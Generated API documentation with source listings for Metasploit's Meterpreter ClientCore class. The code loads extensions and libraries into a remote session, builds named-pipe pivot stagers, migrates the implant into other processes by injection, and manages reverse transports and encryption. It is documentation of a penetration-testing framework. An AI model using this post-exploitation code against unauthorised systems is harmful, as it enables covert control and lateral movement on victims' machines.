Class: Rex::Post::Meterpreter::ClientCore
- Includes:
- Rex::Payloads::Meterpreter::UriChecksum
- Defined in:
- lib/rex/post/meterpreter/client_core.rb
Overview
This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.
Constant Summary collapse
- METERPRETER_TRANSPORT_TCP =
0
- METERPRETER_TRANSPORT_HTTP =
1
- METERPRETER_TRANSPORT_HTTPS =
2
- VALID_TRANSPORTS =
{ 'reverse_tcp' => METERPRETER_TRANSPORT_TCP, 'reverse_http' => METERPRETER_TRANSPORT_HTTP, 'reverse_https' => METERPRETER_TRANSPORT_HTTPS, 'bind_tcp' => METERPRETER_TRANSPORT_TCP }
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Instance Attribute Summary
Attributes inherited from Extension
Class Method Summary collapse
Instance Method Summary collapse
-
#create_named_pipe_pivot(opts) ⇒ Object
create a named pipe pivot.
-
#disable_ssl_hash_verify ⇒ Object
Disable the SSL certificate has verificate.
-
#enable_ssl_hash_verify ⇒ Object
Enable the SSL certificate has verificate.
-
#get_loaded_extension_commands(extension_name) ⇒ Object
Get a list of loaded commands for the given extension.
-
#get_session_guid(timeout = nil) ⇒ Object
Get the session GUID from the target session.
-
#get_ssl_hash_verify ⇒ Object
Attempt to get the SSL hash being used for verificaton (if any).
-
#initialize(client) ⇒ ClientCore
constructor
Initializes the 'core' portion of the meterpreter client commands.
-
#load_library(opts) ⇒ Object
Loads a library on the remote meterpreter instance.
-
#machine_id(timeout = nil) ⇒ Object
Get the machine ID from the target session.
-
#migrate(target_pid, writable_dir = nil, opts = {}) ⇒ Object
Migrates the meterpreter instance to the process specified by pid.
-
#native_arch(timeout = nil) ⇒ Object
Get the current native arch from the target session.
-
#negotiate_tlv_encryption ⇒ Object
Negotiates the use of encryption at the TLV level.
- #secure ⇒ Object
-
#set_session_guid(guid) ⇒ Object
Set the session GUID on the target session.
-
#set_transport_timeouts(opts = {}) ⇒ Object
Set associated transport timeouts for the currently active transport.
-
#set_uuid(uuid) ⇒ Object
Set the UUID on the target session.
-
#shutdown ⇒ Object
Shuts the session down.
-
#transport_add(opts = {}) ⇒ Object
Add a transport to the session based on the provided options.
-
#transport_change(opts = {}) ⇒ Object
Change the currently active transport on the session.
- #transport_list ⇒ Object
-
#transport_next ⇒ Object
Change the active transport to the next one in the transport list.
-
#transport_prev ⇒ Object
Change the active transport to the previous one in the transport list.
-
#transport_remove(opts = {}) ⇒ Object
Remove a transport from the session based on the provided options.
-
#transport_sleep(seconds) ⇒ Object
Sleep the current session for the given number of seconds.
-
#use(mod, opts = { }) ⇒ Object
Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers.
-
#valid_transport?(transport) ⇒ Boolean
Indicates if the given transport is a valid transport option.
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup
Constructor Details
#initialize(client) ⇒ ClientCore
Initializes the 'core' portion of the meterpreter client commands.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 59 def initialize(client) super(client, 'core') end |
Class Method Details
.extension_id ⇒ Object
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# File 'lib/rex/post/meterpreter/client_core.rb', line 52 def self.extension_id EXTENSION_ID_CORE end |
Instance Method Details
#create_named_pipe_pivot(opts) ⇒ Object
create a named pipe pivot
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# File 'lib/rex/post/meterpreter/client_core.rb', line 72 def create_named_pipe_pivot(opts) request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD) request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name]) c = Class.new(::Msf::Payload) c.include(::Msf::Payload::Stager) c.include(::Msf::Payload::TransportConfig) # Include the appropriate reflective dll injection module for the target process architecture... if opts[:arch] == ARCH_X86 c.include(::Msf::Payload::Windows::MeterpreterLoader) elsif opts[:arch] == ARCH_X64 c.include(::Msf::Payload::Windows::MeterpreterLoader_x64) end stage_opts = { force_write_handle: true, datastore: { 'PIPEHOST' => opts[:pipe_host], 'PIPENAME' => opts[:pipe_name] } } stager = c.new() stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)] stage = stager.stage_payload(stage_opts) request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage) request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length) self.client.send_request(request) end |
#disable_ssl_hash_verify ⇒ Object
Disable the SSL certificate has verificate
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# File 'lib/rex/post/meterpreter/client_core.rb', line 555 def disable_ssl_hash_verify # Not supported unless we have a socket with SSL enabled return nil unless self.client.sock.type? == 'tcp-ssl' request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH) # send an empty request to disable it client.send_request(request) return true end |
#enable_ssl_hash_verify ⇒ Object
Enable the SSL certificate has verificate
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# File 'lib/rex/post/meterpreter/client_core.rb', line 538 def enable_ssl_hash_verify # Not supported unless we have a socket with SSL enabled return nil unless self.client.sock.type? == 'tcp-ssl' request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH) hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der) request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) client.send_request(request) return hash end |
#get_loaded_extension_commands(extension_name) ⇒ Object
Get a list of loaded commands for the given extension.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 110 def get_loaded_extension_commands(extension_name) request = Packet.create_request(COMMAND_ID_CORE_ENUMEXTCMD) start = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(extension_name) request.add_tlv(TLV_TYPE_UINT, start) request.add_tlv(TLV_TYPE_LENGTH, COMMAND_ID_RANGE) begin response = self.client.send_packet_wait_response(request, self.client.response_timeout) rescue # In the case where orphaned shells call back with OLD copies of the meterpreter # binaries, we end up with a case where this fails. So here we just return the # empty list of supported commands. return [] end # No response? if response.nil? raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller elsif response.result != 0 # This case happens when the target doesn't support the core_enumextcmd message. # If this is the case, then we just want to ignore the error and return an empty # list. This will force the caller to load any required modules. return [] end commands = [] response.each(TLV_TYPE_UINT) { |c| commands << c.value } commands end |
#get_session_guid(timeout = nil) ⇒ Object
Get the session GUID from the target session.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 416 def get_session_guid(timeout=nil) request = Packet.create_request(COMMAND_ID_CORE_GET_SESSION_GUID) args = [request] args << timeout if timeout response = client.send_request(*args) response.get_tlv_value(TLV_TYPE_SESSION_GUID) end |
#get_ssl_hash_verify ⇒ Object
Attempt to get the SSL hash being used for verificaton (if any).
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# File 'lib/rex/post/meterpreter/client_core.rb', line 572 def get_ssl_hash_verify # Not supported unless we have a socket with SSL enabled return nil unless self.client.sock.type? == 'tcp-ssl' request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH) response = client.send_request(request) return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) end |
#load_library(opts) ⇒ Object
Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified
Supported flags:
LibraryFilePath The path to the library that is to be loaded
LibraryFileImage Binary object containing the library to be loaded (can be used instead of LibraryFilePath)
TargetFilePath The target library path when uploading
UploadLibrary Indicates whether or not the library should be uploaded
SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine
Extension Indicates whether or not the library is a meterpreter extension
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# File 'lib/rex/post/meterpreter/client_core.rb', line 228 def load_library(opts) library_path = opts['LibraryFilePath'] library_image = opts['LibraryFileImage'] target_path = opts['TargetFilePath'] load_flags = LOAD_LIBRARY_FLAG_LOCAL # No library path, no cookie. if library_path.nil? && library_image.nil? raise ArgumentError, 'No library file path or image was supplied', caller end # Set up the proper loading flags if opts['UploadLibrary'] load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL end if opts['SaveToDisk'] load_flags |= LOAD_LIBRARY_FLAG_ON_DISK end if opts['Extension'] load_flags |= LOAD_LIBRARY_FLAG_EXTENSION end # Create a request packet request = Packet.create_request(COMMAND_ID_CORE_LOADLIB) # If we must upload the library, do so now if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL if library_image.nil? # Caller did not provide the image, load it from the path library_image = '' ::File.open(library_path, 'rb') { |f| library_image = f.read } end if library_image request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib]) else raise RuntimeError, "Failed to serialize library #{library_path}.", caller end # If it's an extension we're dealing with, rename the library # path of the local and target so that it gets loaded with a random # name if opts['Extension'] if client.binary_suffix and client.binary_suffix.size > 1 /(.*)\.(.*)/.match(library_path) suffix = $2 elsif client.binary_suffix.size == 1 suffix = client.binary_suffix[0] else suffix = client.binary_suffix end library_path = "ext#{rand(1000000)}.#{suffix}" target_path = "/tmp/#{library_path}" end end # Add the base TLVs request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path) request.add_tlv(TLV_TYPE_FLAGS, load_flags) if !target_path.nil? request.add_tlv(TLV_TYPE_TARGET_PATH, target_path) end # Transmit the request and wait the default timeout seconds for a response response = self.client.send_packet_wait_response(request, self.client.response_timeout) # No response? if response.nil? raise RuntimeError, 'No response was received to the core_loadlib request.', caller elsif response.result != 0 raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end commands = [] response.each(TLV_TYPE_UINT) { |c| commands << c.value } commands end |
#machine_id(timeout = nil) ⇒ Object
Get the machine ID from the target session.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 430 def machine_id(timeout=nil) request = Packet.create_request(COMMAND_ID_CORE_MACHINE_ID) args = [request] args << timeout if timeout response = client.send_request(*args) mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID) # Normalise the format of the incoming machine id so that it's consistent # regardless of case and leading/trailing spaces. This means that the # individual meterpreters don't have to care. # Note that the machine ID may be blank or nil and that is OK Rex::Text.md5(mid.to_s.downcase.strip) end |
#migrate(target_pid, writable_dir = nil, opts = {}) ⇒ Object
Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 586 def migrate(target_pid, writable_dir = nil, opts = {}) keepalive = client.send_keepalives client.send_keepalives = false target_process = nil current_process = nil # Load in the stdapi extension if not allready present so we can determine the target pid architecture... client.core.use('stdapi') if not client.ext.aliases.include?('stdapi') current_pid = client.sys.process.getpid # Find the current and target process instances client.sys.process.processes.each { | p | if p['pid'] == target_pid target_process = p elsif p['pid'] == current_pid current_process = p end } # We cant migrate into a process that does not exist. unless target_process raise RuntimeError, 'Cannot migrate into non existent process', caller end # We cannot migrate into a process that we are unable to open # On linux, arch is empty even if we can access the process if client.platform == 'windows' if target_process['arch'] == nil || target_process['arch'].empty? raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller end end # And we also cannot migrate into our own current process... if current_process['pid'] == target_process['pid'] raise RuntimeError, 'Cannot migrate into current process', caller end migrate_stub = generate_migrate_stub(target_process) migrate_payload = generate_migrate_payload(target_process) # Build the migration request request = Packet.create_request(COMMAND_ID_CORE_MIGRATE) request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid) request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib]) request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib]) if target_process['arch'] == ARCH_X64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end # if we change architecture, we need to change UUID as well if current_process['arch'] != target_process['arch'] client.payload_uuid.arch = target_process['arch'] request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw ) end # Send the migration request. Timeout can be specified by the caller, or set to a min # of 60 seconds. timeout = [(opts[:timeout] || 0), 60].max client.send_request(request, timeout) # Post-migration the session doesn't have encryption any more. # Set the TLV key to nil to make sure that the old key isn't used # at all. client.tlv_enc_key = nil if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents # the original process from stealing our loadlib requests ::IO.select(nil, nil, nil, 5.0) elsif client.pivot_session.nil? # Prevent new commands from being sent while we finish migrating client.comm_mutex.synchronize do # Disable the socket request monitor client.monitor_stop ### # Now communicating with the new process ### # only renegotiate SSL if the session had support for it in the # first place! if client.supports_ssl? # If renegotiation takes longer than a minute, it's a pretty # good bet that migration failed and the remote side is hung. # Since we have the comm_mutex here, we *must* release it to # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. begin Timeout.timeout(timeout) do # Renegotiate SSL over this socket client.swap_sock_ssl_to_plain() client.swap_sock_plain_to_ssl() end rescue TimeoutError client.alive = false return false end end # Restart the socket monitor client.monitor_socket end end # Renegotiate TLV encryption on the migrated session secure # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) client.ext.aliases.keys.each { |e| client.core.use(e) } # Restore session keep-alives client.send_keepalives = keepalive return true end |
#native_arch(timeout = nil) ⇒ Object
Get the current native arch from the target session.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 451 def native_arch(timeout=nil) # Not all meterpreter implementations support this request = Packet.create_request(COMMAND_ID_CORE_NATIVE_ARCH) args = [ request ] args << timeout if timeout response = client.send_request(*args) response.get_tlv_value(TLV_TYPE_STRING) end |
#negotiate_tlv_encryption ⇒ Object
Negotiates the use of encryption at the TLV level
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# File 'lib/rex/post/meterpreter/client_core.rb', line 745 def negotiate_tlv_encryption sym_key = nil rsa_key = OpenSSL::PKey::RSA.new(2048) rsa_pub_key = rsa_key.public_key request = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION) request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der) begin response = client.send_request(request) key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY) key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE) if key_enc sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING) else sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY) end rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError # 1) OpenSSL error may be due to padding issues (or something else) # 2) Request error probably means the request isn't supported, so fallback to plain end { key: sym_key, type: key_type } end |
#secure ⇒ Object
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# File 'lib/rex/post/meterpreter/client_core.rb', line 711 def secure client.tlv_enc_key = negotiate_tlv_encryption end |
#set_session_guid(guid) ⇒ Object
Set the session GUID on the target session.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 404 def set_session_guid(guid) request = Packet.create_request(COMMAND_ID_CORE_SET_SESSION_GUID) request.add_tlv(TLV_TYPE_SESSION_GUID, guid) client.send_request(request) true end |
#set_transport_timeouts(opts = {}) ⇒ Object
Set associated transport timeouts for the currently active transport.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 174 def set_transport_timeouts(opts={}) request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS) if opts[:session_exp] request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) end if opts[:comm_timeout] request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) end response = client.send_request(request) { :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT) } end |
#set_uuid(uuid) ⇒ Object
Set the UUID on the target session.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 392 def set_uuid(uuid) request = Packet.create_request(COMMAND_ID_CORE_SET_UUID) request.add_tlv(TLV_TYPE_UUID, uuid.to_raw) client.send_request(request) true end |
#shutdown ⇒ Object
Shuts the session down
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# File 'lib/rex/post/meterpreter/client_core.rb', line 718 def shutdown request = Packet.create_request(COMMAND_ID_CORE_SHUTDOWN) if client.passive_service # If this is a HTTP/HTTPS session we need to wait a few seconds # otherwise the session may not receive the command before we # kill the handler. This could be improved by the server side # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) else # If this is a standard TCP session, send and forget. self.client.send_packet(request) end true end |
#transport_add(opts = {}) ⇒ Object
Add a transport to the session based on the provided options.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 479 def transport_add(opts={}) request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_ADD, opts) return false unless request client.send_request(request) return true end |
#transport_change(opts = {}) ⇒ Object
Change the currently active transport on the session.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 492 def transport_change(opts={}) request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_CHANGE, opts) return false unless request client.send_request(request) return true end |
#transport_list ⇒ Object
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# File 'lib/rex/post/meterpreter/client_core.rb', line 144 def transport_list request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_LIST) response = client.send_request(request) result = { :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), :transports => [] } response.each(TLV_TYPE_TRANS_GROUP) { |t| result[:transports] << { :url => t.get_tlv_value(TLV_TYPE_TRANS_URL), :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS) } } result end |
#transport_next ⇒ Object
Change the active transport to the next one in the transport list.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 520 def transport_next request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_NEXT) client.send_request(request) return true end |
#transport_prev ⇒ Object
Change the active transport to the previous one in the transport list.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 529 def transport_prev request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_PREV) client.send_request(request) return true end |
#transport_remove(opts = {}) ⇒ Object
Remove a transport from the session based on the provided options.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 466 def transport_remove(opts={}) request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_REMOVE, opts) return false unless request client.send_request(request) return true end |
#transport_sleep(seconds) ⇒ Object
Sleep the current session for the given number of seconds.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 505 def transport_sleep(seconds) return false if seconds == 0 request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SLEEP) # we're reusing the comms timeout setting here instead of # creating a whole new TLV value request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds) client.send_request(request) return true end |
#use(mod, opts = { }) ⇒ Object
Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers
Module The module that should be loaded
LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine
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# File 'lib/rex/post/meterpreter/client_core.rb', line 325 def use(mod, opts = { }) if mod.nil? raise RuntimeError, "No modules were specified", caller end modnameprovided = mod suffix = nil if not client.binary_suffix suffix = '' elsif client.binary_suffix.size > 1 client.binary_suffix.each { |s| if (mod =~ /(.*)\.#{s}/ ) mod = $1 suffix = s break end } else suffix = client.binary_suffix.first end # Query the remote instance to see if commands for the extension are # already loaded commands = get_loaded_extension_commands(mod.downcase) # if there are existing commands for the given extension, then we can use # what's already there unless commands.length > 0 image = nil path = nil # If client.sys isn't setup, it's a Windows meterpreter if client.respond_to?(:sys) && !client.sys.config.sysinfo['BuildTuple'].blank? # Query the payload gem directly for the extension image image = MetasploitPayloads::Mettle.load_extension(client.sys.config.sysinfo['BuildTuple'], mod.downcase, suffix) else # Get us to the installation root and then into data/meterpreter, where # the file is expected to be modname = "ext_server_#{mod.downcase}" path = MetasploitPayloads.meterpreter_path(modname, suffix) if opts['ExtensionPath'] path = ::File.(opts['ExtensionPath']) end end if path.nil? and image.nil? raise RuntimeError, "No module of the name #{modnameprovided} found", caller end # Load the extension DLL commands = load_library( 'LibraryFilePath' => path, 'LibraryFileImage' => image, 'UploadLibrary' => true, 'Extension' => true, 'SaveToDisk' => opts['LoadFromDisk']) end # wire the commands into the client client.add_extension(mod, commands) return true end |
#valid_transport?(transport) ⇒ Boolean
Indicates if the given transport is a valid transport option.
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# File 'lib/rex/post/meterpreter/client_core.rb', line 737 def valid_transport?(transport) return false if transport.nil? VALID_TRANSPORTS.has_key?(transport.downcase) end |